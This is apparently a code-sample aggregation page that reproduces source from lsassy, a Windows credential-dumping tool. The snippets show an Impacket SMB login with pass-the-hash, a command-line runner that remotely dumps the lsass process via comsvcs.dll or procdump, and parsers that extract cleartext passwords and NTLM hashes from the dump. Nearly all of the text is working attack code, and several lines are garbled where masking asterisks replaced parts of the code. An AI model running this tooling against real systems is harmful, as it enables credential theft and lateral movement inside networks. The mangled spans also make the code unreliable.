class ImpacketConnection:
    def __init__(self, conn=None, debug=False):
        self._log = Logger(debug)
        self.conn = conn

    @staticmethod
    def from_args(arg, debug=False):
        pattern = re.compile(
            r"^(?:(?P<domain_name>[a-zA-Z0-9._-]+)/)?(?P<username>[^:/]+)(?::(?P<password>.*))?@(?P<hostname>[a-zA-Z0-9.-]+):/(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$"
        )
        matches = pattern.search(arg.target)
        if matches is None:
            raise Exception(
                "{} is not valid. Expected format : [domain/]username[:password]@host:/share_name/path/to/file"
                .format(arg.target))
        domain_name, username, password, hostname, share_name, filePath = matches.groups(
        )
        if matches.group("domain_name") is None:
            domain_name = "."
        if matches.group("password") is None and arg.hashes is None:
            import getpass
            password = getpass.getpass(prompt='Password: '******':' in arg.hashes:
                lmhash, nthash = arg.hashes.split(':')
            else:
                lmhash = 'aad3b435b51404eeaad3b435b51404ee'
                nthash = arg.hashes
        else:
            lmhash = ''
            nthash = ''
        return ImpacketConnection(debug=debug).login(
            hostname, domain_name, username, password, lmhash,
            nthash), share_name, filePath

    def login(self, ip, domain_name, username, password, lmhash, nthash):
        try:
            ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0]
        except gaierror:
            raise Exception(
                "No DNS found to resolve %s.\n"
                "Please make sure that your DNS settings can resolve %s" %
                (ip, ip))
        conn = SMBConnection(ip, ip)
        username = username.split("@")[0]
        self._log.debug("Authenticating against {}".format(ip))
        try:
            conn.login(username,
                       password,
                       domain=domain_name,
                       lmhash=lmhash,
                       nthash=nthash,
                       ntlmFallback=True)
            self._log.debug("Authenticated")
        except SessionError as e:
            e_type, e_msg = e.getErrorString()
            self._log.error("{}: {}".format(e_type, e_msg))
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                domain_name, username, password))
            sys.exit(1)
        except Exception as e:
            raise Exception("Unknown error : {}".format(e))
        self.conn = conn
        return self

    def connectTree(self, share_name):
        return self.conn.connectTree(share_name)

    def openFile(self, tid, fpath):
        while True:
            try:
                fid = self.conn.openFile(tid,
                                         fpath,
                                         desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self.conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self.conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self.conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self.conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self.conn.readFile(tid, fid, offset, size, singleCall=False)

    def close(self):
        self.conn.close()
Example #2
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter
    )

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format')
    group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method
    0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
    parser.add_argument('-p', '--procdump', action='store', help='Procdump path')
    parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering')
    parser.add_argument('-d', '--debug', action='store_true', help='Debug output')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None

    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        file_path = dumper.dump()
        if not file_path:
            logger.error("lsass could not be dumped")
            exit()
        logger.success("Process lsass.exe is being dumped")

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
Example #3
0
class Parser():
    def __init__(self, pypydump):
        self.pypydump = pypydump
        self.log = Logger()
        self.credentials = []

    def _parse(self, raw=False):
        """
        This code was shamelessly taken from project Spraykatz by @lydericlefebvre
        https://github.com/aas-n/spraykatz/blob/master/core/ParseDump.py
        """
        ssps = [
            'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds',
            'kerberos_creds', 'credman_creds', 'tspkg_creds'
        ]
        for luid in self.pypydump.logon_sessions:

            for ssp in ssps:
                for cred in getattr(self.pypydump.logon_sessions[luid], ssp,
                                    []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    # Remove empty password, machine accounts and buggy entries
                    if raw:
                        self.credentials.append(
                            [ssp, domain, username, password, LMHash, NThash])
                    elif (not all(v is None or v == ''
                                  for v in [password, LMHash, NThash])
                          and not username.endswith('$')
                          and not username == ''):
                        self.credentials.append(
                            (ssp, domain, username, password, LMHash, NThash))

    def output(self, args):
        self._parse(args.raw)
        if args.json:
            json_output = {}
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lhmash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            print(json.dumps(json_output), end='')
        elif args.grep:
            credentials = set()
            for cred in self.credentials:
                credentials.add(':'.join(
                    [c if c is not None else '' for c in cred]))
            for cred in credentials:
                print(cred)
        else:
            if len(self.credentials) == 0:
                self.log.error('No credentials found')
                return 0
            max_size = max(len(c[0]) + len(c[1]) for c in self.credentials)
            credentials = []
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                if password is None:
                    password = '******'.join(h for h in [lhmash, nthash]
                                        if h is not None)
                if [domain, username, password] not in credentials:
                    credentials.append([domain, username, password])
                    self.log.success("{}\\{}{}{}".format(
                        domain, username,
                        " " * (max_size - len(domain) - len(username)),
                        Logger.highlight(password)))
Example #4
0
class Parser():
    def __init__(self, pypydump):
        self.pypydump = pypydump
        self.log = Logger()
        self.credentials = []
    
    def _parse(self, raw=False):
        ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
        for luid in self.pypydump.logon_sessions:
            
            for ssp in ssps:
                for cred in getattr(self.pypydump.logon_sessions[luid], ssp, []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    # Remove empty password, machine accounts and buggy entries
                    if raw:
                        self.credentials.append([ssp, domain, username, password, LMHash, NThash])
                    elif (not all(v is None or v == '' for v in [password, LMHash, NThash])
                            and username is not None
                            and not username.endswith('$')
                            and not username == ''):
                        self.credentials.append((ssp, domain, username, password, LMHash, NThash))

    def _decode(self, data):
        """
        Ugly trick because of mixed content coming back from pypykatz
        Can be either string, bytes, None
        """
        try:
            return data.decode('utf-8', 'backslashreplace')
        except:
            return data

    def output(self, args):
        self._parse(args.raw)
        if args.json:
            json_output = {}
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred

                domain = self._decode(domain)
                username = self._decode(username)
                password = self._decode(password)

                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lhmash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            print(json.dumps(json_output), end='')
        elif args.grep:
            credentials = set()
            for cred in self.credentials:
                credentials.add(':'.join([self._decode(c) if c is not None else '' for c in cred]))
            for cred in credentials:
                print(cred)
        else:
            if len(self.credentials) == 0:
                self.log.error('No credentials found')
                return 0

            max_size = max(len(c[1]) + len(c[2]) for c in self.credentials)
            credentials = []
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                domain = self._decode(domain)
                username = self._decode(username)
                password = self._decode(password)
                if password is None:
                    password = '******'.join(h for h in [lhmash, nthash] if h is not None)
                if [domain, username, password] not in credentials:
                    credentials.append([domain, username, password])
                    self.log.success("{}\\{}{}{}".format(
                        domain, username, " " * (max_size - len(domain) - len(username) + 2), Logger.highlight(password))
                    )